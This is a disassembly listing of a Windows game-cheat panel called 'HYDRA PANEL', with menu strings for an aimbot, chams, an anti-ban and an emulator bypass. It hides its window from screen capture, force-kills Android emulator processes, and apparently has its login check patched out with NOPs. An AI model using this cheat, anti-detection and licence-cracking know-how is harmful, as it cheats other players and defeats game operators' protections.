call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rbp - 0x80], r12
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp - 0x80]
mov r8d, r13d
lea r9, [0x140111fa0]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x140111fb0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140040525
mov rax, qword [rbp - 0x80]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x28]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp - 0x80]
mov rdx, rax
call rbx
mov rcx, qword [rbp - 0x80]
jmp 0x14004051f
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rsp + 0x78], r12
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rsp + 0x78]
mov r8d, r13d
lea r9, [0x140111fa0]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x140111fb0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140040525
mov rax, qword [rsp + 0x78]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x20]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rsp + 0x78]
mov rdx, rax
call rbx
mov rcx, qword [rsp + 0x78]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, 0x7a
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x1400405a7
cmp byte [0x14016b09e], r12b
je 0x1400405a7
cmp byte [0x14016b104], r12b
je 0x1400405a7
lea rcx, str.taskkill__f__im_HD_Player.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_MEmuHeadless.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_LdVBoxHeadless.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_AndroidProcess.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_Nox.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8d, Ordinal_27
lea rdx, str.Destruct_emulator_:_Done_
lea rcx, [0x14016a258]
call fcn.140034e30
mov rax, qword [0x14016b080]
test rax, rax
jne 0x1400405d4
mov r8d, 0xfd8
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14016b080]
movss xmm0, dword [rax + 0x18]
mov ecx, dword [0x14016a2bc]
mulss xmm0, dword [0x14014a1d0]
cmp ecx, 0xff
jg 0x1400405fd
cmp byte [reloc.WS2_32.dll_accept], r12b
mov eax, Ordinal_301
jne 0x140040600
mov eax, r12d
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si r8d, xmm1
mov dword [0x14016a2bc], r8d
cmp r8d, 0xff
jle 0x14004063d
mov dword [0x14016a2bc], 0xff
mov r8d, 0xff
mov rcx, qword [0x14016b0e8]
xor edx, edx
mov r9d, 2
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
cmp dword [0x14016a2bc], r12d
mov edx, r12d
mov rcx, qword [0x14016b0e8]
cmovg edx, esi
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140008b40
movzx eax, byte [0x14016b07a]
test al, al
jne 0x140040ddb
mov rax, qword [0x14016b080]
test rax, rax
jne 0x1400406ad
mov r8d, 0xb67
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14016b080]
mov dword [rax + 0x37f0], 0x41200000
xor edx, edx
mov dword [rax + 0x380c], 0x41200000
mov r8d, 0x20bb
mov dword [rax + 0x37e8], r12d
mov rcx, rdi
mov dword [rax + 0x37ec], 0x41f00000
mov dword [rax + 0x37f4], r12d
mov dword [rax + 0x3824], 0x40800000
mov qword [rax + 0x382c], r12
mov dword [rax + 0x3854], 0x40c00000
mov qword [rax + 0x3814], 0x41000000
movss xmm1, dword [0x14016a228]
movss xmm2, dword [0x14016a22c]
movss xmm3, dword [0x14016a230]
mov dword [rbp + 0x23c], 0x3f800000
movups xmm0, xmmword [rbp + 0x230]
mov dword [rbp + 0x28c], 0x3f800000
movss xmm0, xmm1
mulss xmm1, xmm10
shufps xmm0, xmm0, 0xe1
movss xmm0, xmm2
mulss xmm2, xmm10
shufps xmm0, xmm0, 0xc6
movss xmm0, xmm3
mulss xmm3, xmm10
shufps xmm0, xmm0, 0xc9
movups xmmword [0x14016b980], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmm0, xmmword [rbp + 0x280]
movss xmm0, xmm1
shufps xmm0, xmm0, 0xe1
movss xmm0, xmm2
shufps xmm0, xmm0, 0xc6
movss xmm0, xmm3
shufps xmm0, xmm0, 0xc9
movups xmmword [0x14016ba90], xmm0
or dword [rax + 0x4778], 2
mov dword [rax + 0x4798], 0x43960000
mov dword [rax + 0x479c], 0x43d20000
mov dword [rax + 0x4780], r13d
movups xmmword [rbp + 0x280], xmm0
call fcn.14000ec20
mov rcx, qword [0x14016b0e8]
lea rdx, [0x14016b0f0]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x14016b080]
mov rax, qword [rcx + 0x3ea0]
movss xmm2, dword [rax + 0x18]
ucomiss xmm2, xmm8
jp 0x140040802
jne 0x140040802
movss xmm0, dword [rax + 0x1c]
ucomiss xmm0, xmm8
jp 0x140040802
je 0x140040875
movd xmm0, dword [0x14016b0f4]
mov r9d, Ordinal_301
movd xmm1, dword [0x14016b0f0]
mov rcx, qword [0x14016b0e8]
cvtdq2ps xmm0, xmm0
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 0x1a4
cvtdq2ps xmm1, xmm1
addss xmm0, dword [rax + 0x1c]
addss xmm1, xmm2
cvttss2si r8d, xmm0
cvttss2si edx, xmm1
call qword [sym.imp.USER32.dll_MoveWindow]
mov rax, qword [0x14016b080]
lea rdx, [rbp + 0x128]
xor r8d, r8d
mov qword [rbp + 0x128], r12
mov rcx, qword [rax + 0x3ea0]
call fcn.140012340
mov rcx, qword [0x14016b080]
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ea0]
lea rcx, [0x14016a258]
movss xmm1, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
subss xmm1, dword [rax + 0x80]
subss xmm0, dword [rax + 0x7c]
mov byte [rax + 0x139], r13b
addss xmm1, xmm6
addss xmm0, xmm13
movss dword [rax + 0xfc], xmm1
movss dword [rax + 0xf8], xmm0
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x14016a258]
call fcn.14002c990
mov r8, qword [0x14016b080]
lea rcx, [rbp + 0x2a0]
mov rax, qword [r8 + 0x3ea0]
mov byte [rax + 0xb0], r13b
movss xmm1, dword [0x14016b744]
movss xmm0, dword [0x14016b740]
mov rax, qword [r8 + 0x3ea0]
movss dword [rbp + 0x2a4], xmm1
movss xmm1, dword [0x14016b74c]
mulss xmm1, dword [r8 + 0x37e0]
mov rbx, qword [rax + 0x290]
movss dword [rbp + 0x2a0], xmm0
movss xmm0, dword [0x14016b748]
movss dword [rbp + 0x2ac], xmm1
movss dword [rbp + 0x2a8], xmm0
call fcn.1400042a0
movss xmm7, dword [0x14014a274]
lea rdx, [rbp + 0x130]
movss xmm2, dword [r8 + 0x3c00]
movaps xmm3, xmm7
mov rcx, qword [r8 + 0x3bf8]
mov esi, eax
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rdi
movss dword [rsp + 0x20], xmm14
call fcn.140026d60
movss xmm0, dword [rbp + 0x130]
mov rdi, qword [0x14016b080]
addss xmm0, xmm15
mov dword [rbp + 0x13c], 0x41400000
cvttss2si eax, xmm0
movd xmm1, eax
mov rax, qword [rdi + 0x3ea0]
cvtdq2ps xmm1, xmm1
movss xmm0, dword [rax + 0x20]
movss dword [rbp + 0x130], xmm1
subss xmm0, xmm1
mulss xmm0, xmm10
addss xmm0, xmm8
movss dword [rbp + 0x138], xmm0
test esi, 0xff000000
je 0x140040a86
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x140040a26
mov r8d, 0x65b
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r12b
lea rax, [0x14014941e]
movss dword [rsp + 0x40], xmm8
lea r9, [rbp + 0x138]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, str._HYDRA_PANEL
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov rcx, rdi
lea rax, [rbp - 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x60], xmm0
call fcn.140026f80
mov rdi, qword [0x14016b080]
movss xmm6, dword [0x14014a24c]
cmp dword [rdi + 0x4870], r12d
jg 0x140040aa9
mov r8d, 0x6ff
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rdi + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400081a0
movss xmm1, dword [0x14016b754]
mov r10, rax
movss xmm0, dword [0x14016b750]
mov rcx, qword [0x14016b080]
movss dword [rbp + 0x204], xmm1
movss xmm1, dword [0x14016b75c]
movss dword [rbp + 0x200], xmm0
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x200]
movss xmm0, dword [0x14016b758]
movss dword [rbp + 0x208], xmm0
movss dword [rbp + 0x20c], xmm1
call fcn.1400042a0
mov r9d, eax
mov dword [rsp + 0x28], Ordinal_50
lea rdx, [rbp + 0x158]
movss dword [rsp + 0x20], xmm9
lea r8, [rbp + 0x150]
mov dword [rbp + 0x150], 0x43960000
mov rcx, r10
mov dword [rbp + 0x154], 0x42340000
mov qword [rbp + 0x158], r12
call fcn.140023310
mov rbx, qword [0x14016b080]
cmp dword [rbx + 0x4870], r12d
jg 0x140040b8c
mov r8d, 0x6ff
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400081a0
lea rcx, [rbp - 0x60]
mov r10, rax
movups xmmword [rbp - 0x60], xmm12
call fcn.1400042a0
mov r9d, eax
mov dword [rsp + 0x28], 0xc0
lea rdx, [rbp + 0x80]
movss dword [rsp + 0x20], xmm9
lea r8, [rbp + 0x160]
mov dword [rbp + 0x160], 0x43960000
mov rcx, r10
mov dword [rbp + 0x164], 0x43d20000
mov dword [rbp + 0x80], r12d
mov dword [rbp + 0x84], 0x42340000
call fcn.140023310
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
jne 0x140042467
mov rcx, qword [0x14016b080]
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ea0]
movss xmm1, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
subss xmm1, dword [rax + 0x80]
subss xmm0, dword [rax + 0x7c]
mov byte [rax + 0x139], r13b
addss xmm1, dword [0x14014a220]
addss xmm0, xmm13
movss dword [rax + 0xfc], xmm1
movss dword [rax + 0xf8], xmm0
call fcn.140015d10
lea rdx, [rbp + 0x88]
mov dword [rbp + 0x88], 0x43898000
lea rcx, str.Login
mov dword [rbp + 0x8c], 0x43e28000
call fcn.14000be60
mov qword [rsp + 0x38], r12
lea rax, [rbp + 0x90]
mov qword [rsp + 0x30], r12
lea r8, [0x14016b120]
mov dword [rsp + 0x28], r12d
lea rcx, str.Username00
mov r9d, 0x40
mov qword [rsp + 0x20], rax
xor edx, edx
mov qword [rbp + 0x90], r12
call fcn.140031680
mov qword [rsp + 0x38], r12
lea rax, [rbp + 0x98]
mov qword [rsp + 0x30], r12
lea r8, [0x14016b0a0]
mov dword [rsp + 0x28], r12d
lea rcx, str.Password.00
mov r9d, 0x40
mov qword [rsp + 0x20], rax
xor edx, edx
mov qword [rbp + 0x98], r12
call fcn.140031680
lea rdx, [rbp + 0xa0]
mov dword [rbp + 0xa0], 0x43480000
lea rcx, str.Login
mov dword [rbp + 0xa4], 0x42200000
call fcn.14002d2c0
test al, al
je 0x140040db7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
je 0x140040d88
mov byte [0x14016b07a], r13b
jmp 0x140040db7
cmp qword [0x14016b5c8], 0xf
mov rdx, r15
mov r8, 0xffffffffffffffff
cmova rdx, qword [0x14016b5b0]
inc r8
cmp byte [rdx + r8], r12b
jne 0x140040da2
lea rcx, [0x14016a258]
call fcn.140034e30
call fcn.14000bf70
call fcn.140015e60
call fcn.14003ad20
call fcn.1400115c0
movzx eax, byte [0x14016b07a]
lea rdi, str._HYDRA_PANEL
jmp 0x140040de3
movss xmm7, dword [0x14014a274]
cmp al, r13b
jne 0x140042149
mov rax, qword [0x14016b080]
test rax, rax
jne 0x140040e19
mov r8d, 0xb67
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14016b080]
mov dword [rax + 0x37f0], 0x41200000
xor edx, edx
mov dword [rax + 0x380c], 0x41200000
mov r8d, 0x20bb
mov dword [rax + 0x37e8], r12d
mov rcx, rdi
mov dword [rax + 0x37ec], 0x41f00000
mov dword [rax + 0x37f4], r12d
mov dword [rax + 0x3824], 0x40800000
mov qword [rax + 0x382c], r12
mov dword [rax + 0x3854], 0x40c00000
mov qword [rax + 0x3814], 0x41000000
movss xmm1, dword [0x14016a228]
movss xmm2, dword [0x14016a22c]
movss xmm3, dword [0x14016a230]
mov dword [rbp + 0x21c], 0x3f800000
movups xmm0, xmmword [rbp + 0x210]
mov dword [rbp + 0x22c], 0x3f800000
movss xmm0, xmm1
mulss xmm1, xmm10
shufps xmm0, xmm0, 0xe1
movss xmm0, xmm2
mulss xmm2, xmm10
shufps xmm0, xmm0, 0xc6
movss xmm0, xmm3
mulss xmm3, xmm10
shufps xmm0, xmm0, 0xc9
movups xmmword [0x14016b980], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmm0, xmmword [rbp + 0x220]
movss xmm0, xmm1
shufps xmm0, xmm0, 0xe1
movss xmm0, xmm2
shufps xmm0, xmm0, 0xc6
movss xmm0, xmm3
shufps xmm0, xmm0, 0xc9
movups xmmword [0x14016ba90], xmm0
or dword [rax + 0x4778], 2
mov dword [rax + 0x4798], 0x43960000
mov dword [rax + 0x479c], 0x43d20000
mov dword [rax + 0x4780], r13d
movups xmmword [rbp + 0x220], xmm0
call fcn.14000ec20
cmp byte [0x14016b07b], r12b
lea rdx, [0x14016b0f0]
mov rcx, qword [0x14016b0e8]
jne 0x140041637
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x14016b080]
mov rax, qword [rcx + 0x3ea0]
movss xmm2, dword [rax + 0x18]
ucomiss xmm2, xmm8
jp 0x140040f7b
jne 0x140040f7b
movss xmm0, dword [rax + 0x1c]
ucomiss xmm0, xmm8
jp 0x140040f7b
je 0x140040fee
movd xmm0, dword [0x14016b0f4]
mov r9d, Ordinal_301
movd xmm1, dword [0x14016b0f0]
mov rcx, qword [0x14016b0e8]
cvtdq2ps xmm0, xmm0
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 0x1a4
cvtdq2ps xmm1, xmm1
addss xmm0, dword [rax + 0x1c]
addss xmm1, xmm2
cvttss2si r8d, xmm0
cvttss2si edx, xmm1
call qword [sym.imp.USER32.dll_MoveWindow]
mov rax, qword [0x14016b080]
lea rdx, [rbp + 0xa8]
xor r8d, r8d
mov qword [rbp + 0xa8], r12
mov rcx, qword [rax + 0x3ea0]
call fcn.140012340
mov rcx, qword [0x14016b080]
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ea0]
lea rcx, [0x14016a258]
movss xmm1, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
subss xmm1, dword [rax + 0x80]
subss xmm0, dword [rax + 0x7c]
mov byte [rax + 0x139], r13b
addss xmm1, xmm6
addss xmm0, xmm13
movss dword [rax + 0xfc], xmm1
movss dword [rax + 0xf8], xmm0
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x14016a258]
call fcn.14002c990
mov r9, qword [0x14016b080]
lea rcx, [rbp + 0x290]
mov rax, qword [r9 + 0x3ea0]
mov byte [rax + 0xb0], r13b
movss xmm1, dword [0x14016b744]
movss xmm0, dword [0x14016b740]
mov r8, qword [r9 + 0x3ea0]
movss dword [rbp + 0x294], xmm1
movss xmm1, dword [0x14016b74c]
mulss xmm1, dword [r9 + 0x37e0]
mov rbx, qword [r8 + 0x290]
movss dword [rbp + 0x290], xmm0
movss xmm0, dword [0x14016b748]
movss dword [rbp + 0x29c], xmm1
movss dword [rbp + 0x298], xmm0
call fcn.1400042a0
movss xmm2, dword [r9 + 0x3c00]
lea rdx, [rbp + 0xb0]
mov rcx, qword [r9 + 0x3bf8]
movaps xmm3, xmm7
movss xmm6, dword [r8 + 0x20]
mov esi, eax
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rdi
movss dword [rsp + 0x20], xmm14
call fcn.140026d60
movss xmm0, dword [rbp + 0xb0]
mov dword [rbp + 0xbc], 0x41400000
addss xmm0, xmm15
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0xb0], xmm1
subss xmm6, xmm1
mulss xmm6, xmm10
addss xmm6, xmm8
movss dword [rbp + 0xb8], xmm6
test esi, 0xff000000
je 0x1400411e2
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14004118a
mov r8d, 0x65b
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r12b
lea rax, [0x14014941e]
movss dword [rsp + 0x40], xmm8
lea r9, [rbp + 0xb8]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, str._HYDRA_PANEL
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov rcx, rdi
lea rax, [rbp - 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x60], xmm0
call fcn.140026f80
lea rdi, str._HYDRA_PANEL
mov rbx, qword [0x14016b080]
cmp dword [rbx + 0x4870], r12d
jg 0x14004120c
mov r8d, 0x6ff
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400081a0
movss xmm1, dword [0x14016b754]
mov r10, rax
movss xmm0, dword [0x14016b750]
mov rcx, qword [0x14016b080]
movss dword [rbp + 0x244], xmm1
movss xmm1, dword [0x14016b75c]
movss dword [rbp + 0x240], xmm0
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x240]
movss xmm0, dword [0x14016b758]
movss dword [rbp + 0x248], xmm0
movss dword [rbp + 0x24c], xmm1
call fcn.1400042a0
mov r9d, eax
mov dword [rsp + 0x28], Ordinal_50
lea rdx, [rbp + 0xc8]
movss dword [rsp + 0x20], xmm9
lea r8, [rbp + 0xc0]
mov dword [rbp + 0xc0], 0x43960000
mov rcx, r10
mov dword [rbp + 0xc4], 0x42340000
mov qword [rbp + 0xc8], r12
call fcn.140023310
mov rbx, qword [0x14016b080]
cmp dword [rbx + 0x4870], r12d
jg 0x1400412ef
mov r8d, 0x6ff
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400081a0
lea rcx, [rbp - 0x60]
mov r10, rax
movups xmmword [rbp - 0x60], xmm12
call fcn.1400042a0
mov r9d, eax
mov dword [rsp + 0x28], 0xc0
lea rdx, [rbp + 0xd8]
movss dword [rsp + 0x20], xmm9
lea r8, [rbp + 0xd0]
mov dword [rbp + 0xd0], 0x43960000
mov rcx, r10
mov dword [rbp + 0xd4], 0x43d20000
mov dword [rbp + 0xd8], r12d
mov dword [rbp + 0xdc], 0x42340000
call fcn.140023310
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
jne 0x140042467
mov rcx, qword [0x14016b080]
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ea0]
movss xmm1, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
subss xmm1, dword [rax + 0x80]
subss xmm0, dword [rax + 0x7c]
mov byte [rax + 0x139], r13b
addss xmm1, dword [0x14014a220]
addss xmm0, dword [0x14014a1a8]
movss dword [rax + 0xfc], xmm1
movss dword [rax + 0xf8], xmm0
call fcn.140015d10
lea rdx, [rbp + 0xe0]
mov dword [rbp + 0xe0], 0x43910000
lea rcx, str.List_Of_Hacks
mov dword [rbp + 0xe4], 0x43e28000
call fcn.14000be60
mov rcx, qword [0x14016b080]
mov rax, qword [rcx + 0x3ea0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x248]
subss xmm0, xmm1
cmp qword [rax + 0x1a0], r12
jne 0x140041430
cmp qword [rcx + 0x4ae8], r12
je 0x14004143c
movss xmm0, dword [rax + 0x218]
subss xmm0, xmm1
subss xmm0, xmm11
mov dword [rbp + 0xec], 0x42200000
lea rdx, [rbp + 0xe8]
lea rcx, str.External_Aimbot
movss dword [rbp + 0xe8], xmm0
call fcn.14002d2c0
test al, al
je 0x14004146f
call fcn.14003b4e0
mov rcx, qword [0x14016b080]
mov rax, qword [rcx + 0x3ea0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x248]
subss xmm0, xmm1
cmp qword [rax + 0x1a0], r12
jne 0x1400414a0
cmp qword [rcx + 0x4ae8], r12
je 0x1400414ac
movss xmm0, dword [rax + 0x218]
subss xmm0, xmm1
subss xmm0, xmm11
mov dword [rbp + 0xf4], 0x42200000
lea rdx, [rbp + 0xf0]
lea rcx, str.Sniper_Scope
movss dword [rbp + 0xf0], xmm0
call fcn.14002d2c0
test al, al
je 0x1400414e1
mov byte [0x14016b1b9], r13b
mov rcx, qword [0x14016b080]
mov rax, qword [rcx + 0x3ea0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x248]
subss xmm0, xmm1
cmp qword [rax + 0x1a0], r12
jne 0x140041512
cmp qword [rcx + 0x4ae8], r12
je 0x14004151e
movss xmm0, dword [rax + 0x218]
subss xmm0, xmm1
subss xmm0, xmm11
mov dword [rbp + 0xfc], 0x42200000
lea rdx, [rbp + 0xf8]
lea rcx, str.Quick_switch
movss dword [rbp + 0xf8], xmm0
call fcn.14002d2c0
test al, al
je 0x140041553
mov byte [0x14016b637], r13b
lea rdx, [0x14016b0e7]
lea rcx, str.Antiban
call fcn.14002e880
lea rdx, [0x14016b0e6]
mov byte [0x14016b07f], al
lea rcx, str.Emulator_Bypass
call fcn.14002e880
lea rdx, [0x14016b0e0]
mov byte [0x14016b07e], al
lea rcx, str.Chams_Menu
call fcn.14002e880
test al, al
je 0x140041628
cmp byte [0x14016b0e0], r13b
jne 0x140041628
mov ecx, 8
call fcn.14010d714
lea rcx, [0x14003f230]
mov r9, rax
lea r8, [0x1400443d0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x148]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x140], rax
test rax, rax
je 0x140042454
cmp dword [rbp + 0x148], r12d
je 0x14004244a
movaps xmm0, xmmword [rbp + 0x140]
lea rcx, [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14004244a
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x140], xmm0
call fcn.14000bf70
call fcn.140015e60
jmp 0x140041ca2
call qword [sym.imp.USER32.dll_GetWindowRect]
mov r9, qword [0x14016b080]
mov rax, qword [r9 + 0x3ea0]
movss xmm2, dword [rax + 0x18]
ucomiss xmm2, xmm8
jp 0x140041665
jne 0x140041665
movss xmm0, dword [rax + 0x1c]
ucomiss xmm0, xmm8
jp 0x140041665
je 0x1400416d8
movd xmm0, dword [0x14016b0f4]
mov r9d, Ordinal_301
movd xmm1, dword [0x14016b0f0]
mov rcx, qword [0x14016b0e8]
cvtdq2ps xmm0, xmm0
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 0x1a4
cvtdq2ps xmm1, xmm1
addss xmm0, dword [rax + 0x1c]
addss xmm1, xmm2
cvttss2si r8d, xmm0
cvttss2si edx, xmm1
call qword [sym.imp.USER32.dll_MoveWindow]
mov rcx, qword [0x14016b080]
lea rdx, [rbp + 0x100]
xor r8d, r8d
mov qword [rbp + 0x100], r12
mov rcx, qword [rcx + 0x3ea0]
call fcn.140012340
mov r9, qword [0x14016b080]
mov rax, qword [r9 + 0x3ea0]
lea rcx, [rbp + 0x250]
mov byte [rax + 0xb0], r13b
movss xmm1, dword [0x14016b744]
movss xmm0, dword [0x14016b740]
mov r8, qword [r9 + 0x3ea0]
movss dword [rbp + 0x254], xmm1
movss xmm1, dword [0x14016b74c]
mulss xmm1, dword [r9 + 0x37e0]
mov rbx, qword [r8 + 0x290]
movss dword [rbp + 0x250], xmm0
movss xmm0, dword [0x14016b748]
movss dword [rbp + 0x25c], xmm1
movss dword [rbp + 0x258], xmm0
call fcn.1400042a0
movss xmm2, dword [r9 + 0x3c00]
lea rdx, [rbp + 0x108]
mov rcx, qword [r9 + 0x3bf8]
movaps xmm3, xmm7
movss xmm6, dword [r8 + 0x20]
mov esi, eax
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rdi
movss dword [rsp + 0x20], xmm14
call fcn.140026d60
movss xmm0, dword [rbp + 0x108]
mov dword [rbp + 0x114], 0x41400000
addss xmm0, xmm15
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x108], xmm1
subss xmm6, xmm1
mulss xmm6, xmm10
addss xmm6, xmm8
movss dword [rbp + 0x110], xmm6
test esi, 0xff000000
je 0x14004185d
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x140041805
mov r8d, 0x65b
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r12b
lea rax, [0x14014941e]
movss dword [rsp + 0x40], xmm8
lea r9, [rbp + 0x110]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
